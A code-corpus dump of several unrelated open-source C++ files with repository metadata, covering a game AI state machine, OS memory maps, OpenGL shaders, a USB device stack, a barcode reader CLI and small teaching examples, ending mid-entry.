[ "MIT" ]
1
2018-03-13T06:16:47.000Z
2018-03-13T06:16:47.000Z
CarreGameEngine/CarreGameEngine/src/AllStatesFSM.cpp
CordellSmith/ICT397Carre
5241a01f6443df8296344ae79e34bc1b1ac08441
[ "MIT" ]
3
2018-03-29T15:31:15.000Z
2018-05-15T05:54:55.000Z
CarreGameEngine/CarreGameEngine/src/AllStatesFSM.cpp
CordellSmith/ICT397Carre
5241a01f6443df8296344ae79e34bc1b1ac08441
[ "MIT" ]
null
null
null
/* * Implementation of AllStatesFSM.h file * Author - Jack Matters */ // Includes #include <iostream> #include "../headers/AllStatesFSM.h" /*****************************************Class Separator******************************************/ void MoveState::Enter(ComputerAI* compAI) { std::cout << "Entering 'Enter' state!" << std::endl; isMoving = false; m_waypoints = compAI->MakeWaypoints(); currTargetPos = m_waypoints[0]; } void MoveState::Execute(ComputerAI* compAI) { // If no velocity, set to walking and pick a waypoint Vector2 tempVel = compAI->GetVelocity(); if (tempVel.x == 0 && tempVel.z == 0) { compAI->SetVelocity(Vector2(2, 0)); //srand(time(NULL)); int pos = rand() % m_waypoints.size(); //std::cout << pos << std::endl; currTargetPos = m_waypoints[pos]; //std::cout << currTargetPos << std::endl; } compAI->MoveTo(compAI, currTargetPos); // Change to idle state if player is too close //if () //{ // compAI->GetFSM()->ChangeState(&m_idleState::GetInstance()); //} //std::cout << compAI->GetVelocity() << std::endl; //std::cout << compAI->GetPosition() << std::endl; } void MoveState::Exit(ComputerAI* compAI) { std::cout << "Entering 'Exit' state!" << std::endl; isMoving = false; m_waypoints.clear(); } /*****************************************Class Separator******************************************/ void StartState::Execute(ComputerAI* compAI) { compAI->GetFSM()->ChangeState(&m_moveState::GetInstance()); } /*****************************************Class Separator******************************************/ void IdleState::Enter(ComputerAI* compAI) { compAI->SetVelocity(0.0); } void IdleState::Execute(ComputerAI* compAI) { // Change to move state if player moves away //if () //{ // compAI->GetFSM()->ChangeState(&m_moveState::GetInstance()); //} }
23.5
100
0.577196
CordellSmith
deb0d82febc2596d4bcd0db3983cd2fadc4182ed
1,544
cpp
C++
kernel/src/memory/memory_map.cpp
Andrispowq/HackOS
73b24450281abbbe5f37b8f2c02904d82a255c25
[ "Apache-2.0" ]
10
2020-12-10T16:36:41.000Z
2021-11-08T12:01:05.000Z
kernel/src/memory/memory_map.cpp
Andrispowq/HackOS
73b24450281abbbe5f37b8f2c02904d82a255c25
[ "Apache-2.0" ]
null
null
null
kernel/src/memory/memory_map.cpp
Andrispowq/HackOS
73b24450281abbbe5f37b8f2c02904d82a255c25
[ "Apache-2.0" ]
1
2020-10-02T05:42:21.000Z
2020-10-02T05:42:21.000Z
#include "memory_map.h" #include "memory/bios_memory_type.h" #include "memory/efi_memory_type.h" static MemoryMapEntry* usuableMemory[20]; static uint32_t usuableMemoryType = 0; static bool usuableMemoryGot = 0; extern bool fromUEFI; bool MemoryMap::IsUsuableMemory(size_t index) { if(index >= entryCount) { return false; } if(usuableMemoryType == 0) { if(fromUEFI) { usuableMemoryType = EFI_USUABLE_AREA; } else { usuableMemoryType = BIOS_USUABLE_AREA; } } if((firstEntry + index)->type == usuableMemoryType) { return true; } return false; } MemoryMapEntry** MemoryMap::GetUsuableMemory() { if(usuableMemoryGot) return usuableMemory; uint64_t counter = 0; for(uint64_t i = 0; i < entryCount; i++) { if(IsUsuableMemory(i)) { usuableMemory[counter++] = firstEntry + i; } } usuableMemoryGot = true; return usuableMemory; } uint64_t MemoryMap::GetTotalSystemMemory() { uint64_t total = 0; for(uint64_t i = 0; i < entryCount; i++) { MemoryMapEntry* entry = firstEntry + i; total += entry->size; } return total; } uint64_t MemoryMap::GetUsuableSystemMemory() { uint64_t total = 0; for(uint64_t i = 0; i < entryCount; i++) { if(IsUsuableMemory(i)) { MemoryMapEntry* entry = firstEntry + i; total += entry->size; } } return total; }
18.60241
55
0.584845
Andrispowq
deb634cf7118c2ff1d5b7e9a97a8406c4405a520
286
cpp
C++
docs/tema3/sesion20.10.02/conversion_grados.cpp
GabJL/FI2020
2541622ecc2ce4f4db66ae2006006827dac90217
[ "MIT" ]
null
null
null
docs/tema3/sesion20.10.02/conversion_grados.cpp
GabJL/FI2020
2541622ecc2ce4f4db66ae2006006827dac90217
[ "MIT" ]
null
null
null
docs/tema3/sesion20.10.02/conversion_grados.cpp
GabJL/FI2020
2541622ecc2ce4f4db66ae2006006827dac90217
[ "MIT" ]
null
null
null
// Ejemplo: conversor de grados celsius (centígrados) a farenheit #include <iostream> using namespace std; int main(){ double gradC, gradF; cout << "Que temperatura hace: "; cin >> gradC; gradF = 1.8*gradC + 32; cout << "En grados Farenheit son " << gradF << endl; return 0; }
19.066667
65
0.667832
GabJL
630cfc606e5090d193c3e280724216df7a96a56b
1,685
cpp
C++
engine/generators/crypts/source/PillarCryptLayoutStrategy.cpp
sidav/shadow-of-the-wyrm
747afdeebed885b1a4f7ab42f04f9f756afd3e52
[ "MIT" ]
60
2019-08-21T04:08:41.000Z
2022-03-10T13:48:04.000Z
engine/generators/crypts/source/PillarCryptLayoutStrategy.cpp
cleancoindev/shadow-of-the-wyrm
51b23e98285ecb8336324bfd41ebf00f67b30389
[ "MIT" ]
3
2021-03-18T15:11:14.000Z
2021-10-20T12:13:07.000Z
engine/generators/crypts/source/PillarCryptLayoutStrategy.cpp
cleancoindev/shadow-of-the-wyrm
51b23e98285ecb8336324bfd41ebf00f67b30389
[ "MIT" ]
8
2019-11-16T06:29:05.000Z
2022-01-23T17:33:43.000Z
#include "PillarCryptLayoutStrategy.hpp" #include "RNG.hpp" #include "PillarGeneratorFactory.hpp" using namespace std; void PillarCryptLayoutStrategy::create_layout(MapPtr map, const tuple<Coordinate, Coordinate, Coordinate>& stair_loc_and_room_boundary) { // Select a pillar type. PillarType pt = static_cast<PillarType>(RNG::range(static_cast<int>(PillarType::PILLAR_TYPE_SQUARE), static_cast<int>(PillarType::PILLAR_TYPE_LAST)-1)); IPillarGeneratorPtr p_gen = PillarGeneratorFactory::create_generator(pt); if (p_gen != nullptr) { Coordinate top_left = std::get<1>(stair_loc_and_room_boundary); Coordinate bottom_right = std::get<2>(stair_loc_and_room_boundary); int p_height = p_gen->get_height(); int p_width = p_gen->get_width(); // Apply the pillar generator regularly over the map to create a // characteristic "pillared" layout. // First, ensure that the pillars don't appear around the edges // of the room. int start_y = top_left.first + 1; int start_x = top_left.second + 1; int end_y = bottom_right.first - 1; int end_x = bottom_right.second - 1; // Create an offset so that there's enough room for the player to // move around. int row_offset = 1; int col_offset = 1; for (int row = start_y; row <= end_y; row += p_height + row_offset) { for (int col = start_x; col <= end_x; col += p_width + col_offset) { // If the current pillar doesn't violated height and width constraints, // add it to the crypt. if ((row + p_height <= end_y) && (col + p_width <= end_x)) { p_gen->generate(map, row, col); } } } } }
33.039216
154
0.673591
sidav
6314a22a18065179df18766d83892a75888f2858
1,152
cpp
C++
examples/register_service.cpp
limenghua/modulespp
3c336d3df5f5efe7e99edcac2c36d3b6d6b22c8a
[ "MIT" ]
1
2018-11-01T11:41:11.000Z
2018-11-01T11:41:11.000Z
examples/register_service.cpp
limenghua/modulespp
3c336d3df5f5efe7e99edcac2c36d3b6d6b22c8a
[ "MIT" ]
null
null
null
examples/register_service.cpp
limenghua/modulespp
3c336d3df5f5efe7e99edcac2c36d3b6d6b22c8a
[ "MIT" ]
null
null
null
// // Created by limenghua on 18-3-10. // #include <modulepp/application.h> #include <iostream> #include <memory> #include <ctime> using namespace modulepp; class time_service{ public: virtual std::time_t get_start_time() =0; }; class time_service_imp:public time_service{ public: time_service_imp(){ std::time( & _start_time); } virtual std::time_t get_start_time() override { return _start_time; } time_t _start_time; }; std::shared_ptr<time_service> create_test_service(){ return std::make_shared<time_service_imp>(); } class test_module:public module{ public: test_module():module("test_module"){} virtual void start()override{ module::start(); auto srv = create_test_service(); register_service<time_service>(srv); } }; int main(){ application app; app.register_module(std::make_shared<test_module>()); app.start(); auto start_time = app.get_module("test_module") ->get_service<time_service>() ->get_start_time(); std::cout<<"start time:" <<start_time<<std::endl; app.stop(); }
18.580645
57
0.642361
limenghua
6315589d14120881ac81f0b8b9bdbec8718e3d4a
4,150
cpp
C++
openbarcode-cli/main.cpp
TrevorMellon/openbarcode
bb0be48d28dccf831e46e05d85dea6f48940587a
[ "MIT" ]
40
2016-02-18T18:47:04.000Z
2022-03-22T07:03:33.000Z
openbarcode-cli/main.cpp
TrevorMellon/openbarcode
bb0be48d28dccf831e46e05d85dea6f48940587a
[ "MIT" ]
3
2017-06-23T16:25:08.000Z
2017-10-26T15:54:41.000Z
openbarcode-cli/main.cpp
TrevorMellon/openbarcode
bb0be48d28dccf831e46e05d85dea6f48940587a
[ "MIT" ]
15
2017-06-16T22:36:56.000Z
2021-06-22T07:48:33.000Z
/** -------------------------------------------------------------------------------- - Module : main.cpp - Description : Example of cli usage of 1D and 2D C++ Barcode Library - Author : Tim Zaman, 18-FEB-2016 -------------------------------------------------------------------------------- - Copyright (c) 2016 Tim Zaman - - Permission to use, copy, modify, distribute, and sell this software - for any purpose is hereby granted without fee, provided - that (i) the above copyright notices and this permission notice appear in - all copies of the software and related documentation. - - THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, - EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY - WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PAR-TICULAR PURPOSE. --------------------------------------------------------------------------------- */ #include <iostream> #include <string> #include <vector> #include <dirent.h> #include <opencv2/opencv.hpp> #include "libopenbarcode/openbarcode_version.h" #include "libopenbarcode/options.h" #include "libopenbarcode/detector.h" #include "libopenbarcode/detector_barcode.h" #include "libopenbarcode/detector_dmtx.h" #include "libopenbarcode/decoder.h" #include "libopenbarcode/decoder_code39.h" #include "libopenbarcode/decoder_code128.h" #include "libopenbarcode/decoder_dmtx.h" using namespace std; std::vector< std::string > dirToFilesVec(std::string path) { std::vector< std::string > files_vec; DIR *dir; struct dirent *ent; if ((dir = opendir (path.c_str())) != NULL) { // print all the files and directories within directory while ((ent = readdir (dir)) != NULL) { if (ent->d_name[0] != '.') { files_vec.push_back(std::string(ent->d_name)); } } closedir (dir); } else { std::cerr << "Failed opening directory : " << path << std::endl; exit(-1); } return files_vec; } int main(int argc, char* argv[] ) { std::cout << "main() : this program provides a libopenbarcode example." << std::endl; std::cout << "OPENBARCODE_VERSION = " << OPENBARCODE_VERSION << std::endl; std::cout << "OPENBARCODE_BUILDDATE = " << OPENBARCODE_BUILDDATE << std::endl; // Create the options openbarcode::Options opts; //opts.set opts.setValue("int", 1337); opts.setValue("string", "test"); //cout << opts.getValue("int") << " ; " << opts.getValue("string") << endl; cout << opts.getValue<int>("int") << endl; int i = opts.getValue<int>("int"); cout << opts.getValue<int>("default-test", 1234) << endl; //string files_dir = "/Users/tzaman/Dropbox/code/openbarcode/sample_images/C39/"; string files_dir = "/Users/tzaman/Dropbox/code/openbarcode/sample_images/C128/"; vector<string> files = dirToFilesVec(files_dir); for (int i = 0; i < files.size(); i++) { if (files[i].find(".") == std::string::npos) { // skip dirs hack continue; } cout << files[i] << endl; // Load a sample image cv::Mat im = cv::imread(files_dir + files[i]); // Create the decoder(s) std::vector< openbarcode::Decoder * > decoders; //decoders.push_back(new openbarcode::DecoderDmtx(&opts)); //openbarcode::DetectorDmtx dt(&opts, decoders); //decoders.push_back(new openbarcode::DecoderCode39(&opts)); decoders.push_back(new openbarcode::DecoderCode128(&opts)); openbarcode::DetectorBarcode dt(&opts, decoders); dt.setImage(im); dt.Detect(); dt.Decode(); // Rename std::vector< std::string > found_codes = dt.getCodeStrings(); if (found_codes.size() < 1) { //exit(-1); } std::cout << "found_codes:" << found_codes.size() << std::endl; //continue; //int rc = std::rename((files_dir + files[i]).c_str(), (files_dir + found_codes[0] + ".jpg").c_str() ); for (int d = 0; d < decoders.size(); d++) delete decoders[d]; } std::cout << "END main()" << std::endl; }
35.169492
112
0.584096
TrevorMellon
631794c3d31933f511f1acf9bb05d2fc5e856440
693
cpp
C++
LeetCode/Problems/Algorithms/#1658_MinimumOperationsToReduceXToZero_sol1_greedy_maximum_contiguous_subarray_of_given_sum_O(N)_time_O(N)_extra_space_432ms_168.2MB.cpp
Tudor67/Competitive-Programming
ae4dc6ed8bf76451775bf4f740c16394913f3ff1
[ "MIT" ]
1
2022-01-26T14:50:07.000Z
2022-01-26T14:50:07.000Z
LeetCode/Problems/Algorithms/#1658_MinimumOperationsToReduceXToZero_sol1_greedy_maximum_contiguous_subarray_of_given_sum_O(N)_time_O(N)_extra_space_432ms_168.2MB.cpp
Tudor67/Competitive-Programming
ae4dc6ed8bf76451775bf4f740c16394913f3ff1
[ "MIT" ]
null
null
null
LeetCode/Problems/Algorithms/#1658_MinimumOperationsToReduceXToZero_sol1_greedy_maximum_contiguous_subarray_of_given_sum_O(N)_time_O(N)_extra_space_432ms_168.2MB.cpp
Tudor67/Competitive-Programming
ae4dc6ed8bf76451775bf4f740c16394913f3ff1
[ "MIT" ]
null
null
null
class Solution { public: int minOperations(vector<int>& nums, int x) { const int N = nums.size(); const int EXPECTED_SUM = accumulate(nums.begin(), nums.end(), 0) - x; unordered_map<int, int> pos; int prefSum = 0; pos[prefSum] = -1; int maxSubarraySize = INT_MIN; for(int i = -1; i < N; ++i){ prefSum += (i <= -1 ? 0 : nums[i]); if(pos.count(prefSum - EXPECTED_SUM)){ maxSubarraySize = max(i - pos[prefSum - EXPECTED_SUM], maxSubarraySize); } pos[prefSum] = i; } return (maxSubarraySize == INT_MIN ? -1 : N - maxSubarraySize); } };
36.473684
89
0.50938
Tudor67
631af9ca41bb18bc92ef33281eda22d6f060dbb5
812
hpp
C++
EPSServer/rt.hpp
NuLL3rr0r/e-pooyasokhan-com-lcms
cf4b8cd0118a10bbecc4a1bb29c443385fa21e12
[ "MIT", "Unlicense" ]
null
null
null
EPSServer/rt.hpp
NuLL3rr0r/e-pooyasokhan-com-lcms
cf4b8cd0118a10bbecc4a1bb29c443385fa21e12
[ "MIT", "Unlicense" ]
null
null
null
EPSServer/rt.hpp
NuLL3rr0r/e-pooyasokhan-com-lcms
cf4b8cd0118a10bbecc4a1bb29c443385fa21e12
[ "MIT", "Unlicense" ]
null
null
null
#ifndef RT_HPP #define RT_HPP #include <memory> #include <mutex> namespace MyLib { class DB; } namespace EPSServer { class DBTables; class RT; } class EPSServer::RT { private: struct StorageStruct { std::string AppPath; }; typedef std::unique_ptr<StorageStruct> Storage_ptr; typedef std::unique_ptr<MyLib::DB> DB_ptr; typedef std::unique_ptr<EPSServer::DBTables> DBTables_ptr; private: static std::mutex m_storageMutex; static Storage_ptr m_storageInstance; static std::mutex m_dbMutex; static DB_ptr m_dbInstance; static std::mutex m_dbTablesMutex; static DBTables_ptr m_dbTablesInstance; public: static StorageStruct *Storage(); static MyLib::DB *DB(); static EPSServer::DBTables *DBTables(); }; #endif /* RT_HPP */
16.571429
62
0.692118
NuLL3rr0r
631c0e4646faf234509b9e31d212ce3c38ce2fba
3,129
cpp
C++
OpenGLApplication/OpenGLApplication/src/core/Shader.cpp
deg3x/GraphicsPlayground
dd5eb70e4b74c1efa136a49ebef612c2d33a7765
[ "MIT" ]
null
null
null
OpenGLApplication/OpenGLApplication/src/core/Shader.cpp
deg3x/GraphicsPlayground
dd5eb70e4b74c1efa136a49ebef612c2d33a7765
[ "MIT" ]
null
null
null
OpenGLApplication/OpenGLApplication/src/core/Shader.cpp
deg3x/GraphicsPlayground
dd5eb70e4b74c1efa136a49ebef612c2d33a7765
[ "MIT" ]
null
null
null
#include "shader.h" #include <glad/glad.h> #include <glm/glm.hpp> #include <glm/gtc/type_ptr.hpp> #include <string> #include <iostream> #include <fstream> #include <sstream> Shader::Shader(const char* vertPath, const char* fragPath) { std::string vCode; std::string fCode; ReadCodeFromPath(vertPath, vCode); ReadCodeFromPath(fragPath, fCode); const char* vertCode = vCode.c_str(); const char* fragCode = fCode.c_str(); unsigned int vertID; unsigned int fragID; vertID = glCreateShader(GL_VERTEX_SHADER); glShaderSource(vertID, 1, &vertCode, NULL); glCompileShader(vertID); CheckShaderCompiled(vertID); fragID = glCreateShader(GL_FRAGMENT_SHADER); glShaderSource(fragID, 1, &fragCode, NULL); glCompileShader(fragID); CheckShaderCompiled(fragID); this->id = glCreateProgram(); glAttachShader(this->id, vertID); glAttachShader(this->id, fragID); glLinkProgram(this->id); CheckProgramLinked(this->id); glDeleteShader(vertID); glDeleteShader(fragID); } int Shader::ReadCodeFromPath(const char* path, std::string& code) { std::ifstream file; file.exceptions(std::ifstream::failbit | std::ifstream::badbit); try { file.open(path); std::stringstream vertStream; std::stringstream fragStream; vertStream << file.rdbuf(); file.close(); code = vertStream.str(); } catch (std::ifstream::failure e) { std::cerr << "ERROR::SHADER::FILE_COULD_NOT_BE_READ::" << path << std::endl; return -1; } return 0; } int Shader::CheckShaderCompiled(GLuint shaderID) { int success; char info[512]; glGetShaderiv(shaderID, GL_COMPILE_STATUS, &success); if (!success) { glGetShaderInfoLog(shaderID, 512, NULL, info); std::cerr << "ERROR :: SHADER :: VERTEX :: COMPILATION_FAILED\n" << info << std::endl; } return success; } int Shader::CheckProgramLinked(GLuint shaderProgramID) { int success; char info[512]; glGetProgramiv(shaderProgramID, GL_LINK_STATUS, &success); if (!success) { glGetProgramInfoLog(shaderProgramID, 512, NULL, info); std::cerr << "ERROR :: SHADER :: PROGRAM :: LINKING_FAILED\n" << info << std::endl; } return success; } void Shader::Use() { glUseProgram(this->id); } unsigned int Shader::GetShaderID() { return this->id; } void Shader::SetBool(const std::string& name, bool value) const { glUniform1i(glGetUniformLocation(this->id, name.c_str()), (int)value); } void Shader::SetInt(const std::string& name, int value) const { glUniform1i(glGetUniformLocation(this->id, name.c_str()), value); } void Shader::SetFloat(const std::string& name, float value) const { glUniform1f(glGetUniformLocation(this->id, name.c_str()), value); } void Shader::SetVector3(const std::string& name, const glm::vec3& value) const { glUniform3fv(glGetUniformLocation(this->id, name.c_str()), 1, &value[0]); } void Shader::SetVector4(const std::string& name, const glm::vec4& value) const { glUniform4fv(glGetUniformLocation(this->id, name.c_str()), 1, &value[0]); } void Shader::SetMatrix4x4(const std::string& name, const glm::mat4x4& value) const { glUniformMatrix4fv(glGetUniformLocation(this->id, name.c_str()), 1, GL_FALSE, &value[0][0]); }
21.729167
93
0.716203
deg3x
631de76eabd43790169bbe4a4fdd4a48e03d65e6
488
cpp
C++
compute_dfxi.cpp
pushkarjain1991/Poisson_FEM
fa0f7d163f0ea858db4ad8235b3629b224ffec48
[ "BSD-3-Clause" ]
null
null
null
compute_dfxi.cpp
pushkarjain1991/Poisson_FEM
fa0f7d163f0ea858db4ad8235b3629b224ffec48
[ "BSD-3-Clause" ]
null
null
null
compute_dfxi.cpp
pushkarjain1991/Poisson_FEM
fa0f7d163f0ea858db4ad8235b3629b224ffec48
[ "BSD-3-Clause" ]
1
2019-04-02T17:16:46.000Z
2019-04-02T17:16:46.000Z
// // Created by Pushkar Kumar Jain on 3/21/17. // #include "Eigen/Dense" Eigen::MatrixXd compute_dfxi(double zi, double eta, int nnode, int ndim) { Eigen::MatrixXd dfxi(nnode, ndim); dfxi(0, 0) = -0.25 * (1 - eta); dfxi(1, 0) = 0.25 * (1 - eta); dfxi(2, 0) = 0.25 * (1 + eta); dfxi(3, 0) = -0.25 * (1 + eta); dfxi(0, 1) = -0.25 * (1 - zi); dfxi(1, 1) = -0.25 * (1 + zi); dfxi(2, 1) = 0.25 * (1 + zi); dfxi(3, 1) = 0.25 * (1 - zi); return dfxi; }
27.111111
74
0.495902
pushkarjain1991
6323d48ab1df01b40244925ce30bc3281e7206ca
8,330
cpp
C++
platform/usb/core/usb_std.cpp
andryblack/pcb-printer-firmware
da562d2da3c21b0d4776f2bbe5ce3e1e68be6755
[ "MIT" ]
1
2020-07-18T18:34:41.000Z
2020-07-18T18:34:41.000Z
platform/usb/core/usb_std.cpp
andryblack/pcb-printer-firmware
da562d2da3c21b0d4776f2bbe5ce3e1e68be6755
[ "MIT" ]
null
null
null
platform/usb/core/usb_std.cpp
andryblack/pcb-printer-firmware
da562d2da3c21b0d4776f2bbe5ce3e1e68be6755
[ "MIT" ]
1
2020-01-29T10:29:08.000Z
2020-01-29T10:29:08.000Z
#include "usb_std.h" static uint8_t data_buffer[64]; #ifdef USB_DEBUG static const char hex[] = "0123456789abcdef"; static void dump_mem(const void* data,uint32_t length) { const uint8_t* b = static_cast<const uint8_t*>(data); while (length) { char buf[32*3+4]; uint32_t l = length > 32 ? 32 : length; char* o = buf; for (uint32_t i=0;i<l;++i) { *o++ = hex[(*b&0xf0)>>4]; *o++ = hex[(*b&0x0f)]; *o++ = ' '; ++b; } *o++ ='\n'; *o++ = 0; printf(buf); length -= l; } } #endif const uint8_t* USB_Std::get_config_ep_data() { return &data_buffer[8]; } void USB_Std::init() { m_dev_state = USBD_STATE_DEFAULT; USB_FS::init(); #ifdef USB_DEBUG uint32_t len = 0; const void * descr = get_config_descriptor(len); dump_mem(descr,len); #endif } void USB_Std::send_status(Endpoint& ep) { ep.transmit(0,0); } void USB_Std::on_reset_irq() { //DBG("reset\n"); m_dev_state = USBD_STATE_DEFAULT; USB_FS::on_reset_irq(); } void USB_Std::on_ep_setup(Endpoint& ep) { if (ep.get_num()!=0) { USB_DBG("on_ep_setup err %d\n",int(ep.get_num())); ep.set_stall(); return; } uint32_t size = ep.get_rx_size(); if (size<8) { USB_DBG("on_ep_setup err size %d\n",int(size)); ep.set_stall(); return; } ep.read(data_buffer,size); const usb_setup_req_t* req = reinterpret_cast<const usb_setup_req_t*>(data_buffer); switch (req->bmRequestType & 0x1F) { case USB_REQ_RECIPIENT_DEVICE: on_device_request(ep,*req); break; case USB_REQ_RECIPIENT_INTERFACE: on_interface_request(ep,*req); break; case USB_REQ_RECIPIENT_ENDPOINT: on_endpoint_request(ep,*req); break; default: ep.set_stall(); break; } } void USB_Std::on_ep_rx(Endpoint& ep) { if (ep.get_num() == 0) { send_status(ep); } } void USB_Std::on_device_request(Endpoint& ep,const usb_setup_req_t& req) { switch (req.bRequest) { case USB_REQ_GET_DESCRIPTOR: get_descriptor(ep,req); break; case USB_REQ_SET_ADDRESS: set_address(ep,req); break; case USB_REQ_SET_CONFIGURATION: set_configuration(ep,req); break; case USB_REQ_GET_CONFIGURATION: get_configuration(ep,req); break; case USB_REQ_GET_STATUS: get_status(ep,req); break; case USB_REQ_SET_FEATURE: set_feature(ep,req); break; case USB_REQ_CLEAR_FEATURE: clean_feature(ep,req); break; default: USB_DBG("on_device_request err %d\n",int(req.bRequest)); ep.set_stall(); break; } } void USB_Std::get_descriptor(Endpoint& ep,const usb_setup_req_t& req) { const void* data = 0; uint32_t length = 0; switch (req.wValue >> 8) { case USB_DESC_TYPE_DEVICE: data = get_device_descriptor(length); break; case USB_DESC_TYPE_CONFIGURATION: data = get_config_descriptor(length); break; case USB_DESC_TYPE_STRING: data = get_string(req.wValue&0xff,length); if (!data) { USB_DBG("USB_DESC_TYPE_STRING err\n"); ep.set_stall(); } break; case USB_DESC_TYPE_DEVICE_QUALIFIER: USB_DBG("USB_DESC_TYPE_DEVICE_QUALIFIER\n"); break; case USB_DESC_TYPE_OTHER_SPEED_CONFIGURATION: USB_DBG("USB_DESC_TYPE_OTHER_SPEED_CONFIGURATION\n"); break; default: USB_DBG("get_descriptor err %d\n",int(req.wValue)); ep.set_stall(); break; } if((length != 0)&& (req.wLength != 0)) { length = (length < req.wLength) ? length : req.wLength; ep.transmit(data,length); } } void USB_Std::set_address(Endpoint& ep,const usb_setup_req_t& req) { if ((req.wIndex == 0) && (req.wLength == 0)) { uint8_t dev_addr = req.wValue & 0x7F; if (m_dev_state == USBD_STATE_CONFIGURED) { USB_DBG("set_address err USBD_STATE_CONFIGURED\n"); ep.set_stall(); } else { m_dev_cfgidx = 0; set_address(dev_addr); send_status(ep); if (dev_addr != 0) { m_dev_state = USBD_STATE_ADDRESSED; } else { m_dev_state = USBD_STATE_DEFAULT; } } } else { USB_DBG("set_address err\n"); ep.set_stall(); } } uint8_t USB_Std::get_num_configurations() { uint32_t len = 0; const uint8_t* config = static_cast<const uint8_t*>(get_device_descriptor(len)); return config[0x11]; } uint8_t USB_Std::get_num_interfaces(uint8_t cfgidx) { uint32_t len = 0; const uint8_t* config = static_cast<const uint8_t*>(get_config_descriptor(len)); return config[4]; } void USB_Std::set_configuration(Endpoint& ep,const usb_setup_req_t& req) { uint8_t cfgidx = req.wValue; if (cfgidx > get_num_configurations()) { USB_DBG("set_configuration err\n"); ep.set_stall(); return; } switch (m_dev_state) { case USBD_STATE_ADDRESSED: if (cfgidx) { m_dev_cfgidx = cfgidx; m_dev_state = USBD_STATE_CONFIGURED; if (!class_init(cfgidx)) { ep.set_stall(); } else { send_status(ep); } } else { send_status(ep); } break; case USBD_STATE_CONFIGURED: if (cfgidx == 0) { class_deinit(m_dev_cfgidx); m_dev_cfgidx = 0; m_dev_state = USBD_STATE_ADDRESSED; send_status(ep); } else if (cfgidx != m_dev_cfgidx) { class_deinit(m_dev_cfgidx); m_dev_cfgidx = cfgidx; if (!class_init(cfgidx)) { ep.set_stall(); } else { send_status(ep); } } else { send_status(ep); } break; default: USB_DBG("set_configuration state err\n"); ep.set_stall(); break; } } void USB_Std::get_configuration(Endpoint& ep,const usb_setup_req_t& req) { USB_DBG("get_configuration\n"); } void USB_Std::get_status(Endpoint& ep,const usb_setup_req_t& req) { m_dev_status = 0; switch (m_dev_state) { case USBD_STATE_ADDRESSED: case USBD_STATE_CONFIGURED: ep.transmit(&m_dev_status,2); break; default: USB_DBG("get_status err\n"); ep.set_stall(); break; } } void USB_Std::set_feature(Endpoint& ep,const usb_setup_req_t& req) { // todo USB_DBG("set_feature\n"); send_status(ep); } void USB_Std::clean_feature(Endpoint& ep,const usb_setup_req_t& req) { USB_DBG("clean_feature\n"); } void USB_Std::on_interface_request(Endpoint& ep,const usb_setup_req_t& req) { switch(m_dev_state) { case USBD_STATE_CONFIGURED: if (LOBYTE(req.wIndex) < get_num_interfaces(m_dev_cfgidx)) { if (class_setup(ep,req)) { } else { USB_DBG("on_interface_request class_setup\n"); ep.set_stall(); } } else { USB_DBG("on_interface_request invalid interface\n"); ep.set_stall(); } break; default: USB_DBG("on_interface_request invalid state\n"); ep.set_stall(); break; } } void USB_Std::on_endpoint_request(Endpoint& ep,const usb_setup_req_t& req) { uint8_t ep_addr = LOBYTE(req.wIndex); if ((req.bmRequestType & USB_REQ_TYPE_MASK) == USB_REQ_TYPE_CLASS) { class_setup(ep,req); return; } switch (req.bRequest) { case USB_REQ_SET_FEATURE: switch (m_dev_state) { case USBD_STATE_ADDRESSED: if ((ep_addr != 0x00) && (ep_addr != 0x80)) { ep.set_stall(); return; } break; case USBD_STATE_CONFIGURED: if (req.wValue == USB_FEATURE_EP_HALT) { if ((ep_addr != 0x00) && (ep_addr != 0x80)) { ep.set_stall(); return; } } class_setup(ep,req); break; default: ep.set_stall(); return; } break; case USB_REQ_CLEAR_FEATURE: switch (m_dev_state) { case USBD_STATE_ADDRESSED: if ((ep_addr & 0x7F) != 0x00) { ep.set_stall(); return; } break; case USBD_STATE_CONFIGURED: if (req.wValue == USB_FEATURE_EP_HALT) { if ((ep_addr & 0x7F) != 0x00) { ep.reset_stall(); class_setup(ep,req); return; } } break; default: ep.set_stall(); return; } break; case USB_REQ_GET_STATUS: switch (m_dev_state) { case USBD_STATE_ADDRESSED: if ((ep_addr & 0x7F) != 0x00) { ep.set_stall(); return; } break; case USBD_STATE_CONFIGURED: if (req.wValue == USB_FEATURE_EP_HALT) { if ((ep_addr & 0x7F) != 0x00) { ep.reset_stall(); class_setup(ep,req); return; } } break; default: ep.set_stall(); return; } break; default: break; } } void USB_Std::on_ep_tx(Endpoint& ep) { if (ep.get_num()==0) { ep.start_rx(); } }
21.304348
84
0.641537
andryblack
632d0d754083022521dbd08433cf1ebcc525d36e
1,469
cpp
C++
etc/limits.cpp
angusoutlook/OOProgrammingInCpp
42c66b2652d4814e4f8b31d060189bd853cce416
[ "FSFAP" ]
null
null
null
etc/limits.cpp
angusoutlook/OOProgrammingInCpp
42c66b2652d4814e4f8b31d060189bd853cce416
[ "FSFAP" ]
null
null
null
etc/limits.cpp
angusoutlook/OOProgrammingInCpp
42c66b2652d4814e4f8b31d060189bd853cce416
[ "FSFAP" ]
null
null
null
/* The following code example is taken from the book * "Object-Oriented Programming in C++" * by Nicolai M. Josuttis, Wiley, 2002 * * (C) Copyright Nicolai M. Josuttis 2002. * Permission to copy, use, modify, sell and distribute this software * is granted provided this copyright notice appears in all copies. * This software is provided "as is" without express or implied * warranty, and with no claim as to its suitability for any purpose. */ #include <iostream> #include <limits> #include <string> int main() { using namespace std; // use textual representation for bool cout << boolalpha; // output maxima of integral types cout << "max(short): " << numeric_limits<short>::max() << endl; cout << "max(int): " << numeric_limits<int>::max() << endl; cout << "max(long): " << numeric_limits<long>::max() << endl; cout << endl; // output maxima of floating-point types cout << "max(float): " << numeric_limits<float>::max() << endl; cout << "max(double): " << numeric_limits<double>::max() << endl; cout << "max(long double): " << numeric_limits<long double>::max() << endl; cout << endl; // is char a signed interal type? cout << "is_signed(char): " << numeric_limits<char>::is_signed << endl; cout << endl; // are there numeric limits for the type string? cout << "is_specialized(string): " << numeric_limits<string>::is_specialized << endl; }
31.934783
69
0.635126
angusoutlook
63307c1197d484818bbfe89f6d68667a6295d3c3
1,016
hpp
C++
kernel/include/drivers/keyboard.hpp
cekkr/thor-os
841b088eddc378ef38c98878a51958479dce4a31
[ "MIT" ]
null
null
null
kernel/include/drivers/keyboard.hpp
cekkr/thor-os
841b088eddc378ef38c98878a51958479dce4a31
[ "MIT" ]
